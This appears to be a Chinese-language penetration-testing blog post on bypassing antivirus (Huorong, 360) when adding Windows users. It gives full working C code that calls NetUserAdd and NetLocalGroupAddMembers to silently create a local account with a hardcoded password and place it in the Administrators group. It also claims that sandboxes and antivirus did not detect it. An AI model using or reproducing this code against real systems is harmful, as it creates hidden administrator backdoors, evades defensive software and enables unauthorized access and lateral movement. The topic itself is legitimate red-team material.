0x01 前言
在渗透测试过程中,因有些需求,需要本地/远程添加用户从而登录远程桌面等服务进行横向(不考虑 hash 传递场景),而直接通过net.exe
进行添加用户,往往会被安全软件直接阻断拦截,所以直接选择Windows API函数
进行编写,进行 Bypass AV。
0x02 安全软件拦截
在命令行中输入添加账号、密码的命令后,火绒会出现警告。火绒的拦截,实际就是安全软件对net.exe的调用进行了监控并拦截。火绒、360安全卫士等杀毒软件主要是对net.exe
,net1.exe
添加用户行为进行防护。


0x03 绕过杀毒软件
在火绒和360开启核晶模式下添加kuary账户,火绒和360全程无感知。
火绒全程无感知:
360开启核晶全程无感知:
0x04 微步沙箱、VT沙箱、火绒、360卫士查杀率。
微步沙箱
VT沙箱
火绒
360卫士
0x05 完整代码
代码原理为调用NetUserAdd
API添加普通权限的本地用户,调用NetLocalGroupAddMembers
API将用户添加到管理员权限组。
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")
#include <stdio.h>
#include <windows.h>
#include <lm.h>
int wmain(int argc, wchar_t* argv[])
{
USER_INFO_1 kuary; // 定义USER_INFO_1结构体
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS kuary_sta;
kuary.usri1_name = (LPWSTR)TEXT("kuary"); //账户
//(LPWSTR)TEXT("kuary");此处kuary为需添加的账户名
kuary.usri1_password = (LPWSTR)TEXT("Admin@123"); //密码
//(LPWSTR)TEXT("admin@123");此处admin@123为需添加的密码。
kuary.usri1_priv = USER_PRIV_USER;
kuary.usri1_home_dir = NULL;
kuary.usri1_comment = NULL;
kuary.usri1_flags = UF_SCRIPT;
kuary.usri1_script_path = NULL;
kuary_sta = NetUserAdd(NULL, dwLevel, (LPBYTE)&kuary, &dwError);
// 添加用户到administrators组
LOCALGROUP_MEMBERS_INFO_3 kuary1;
kuary1.lgrmi3_domainandname = kuary.usri1_name;
NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&kuary1, 1);
return 0;
}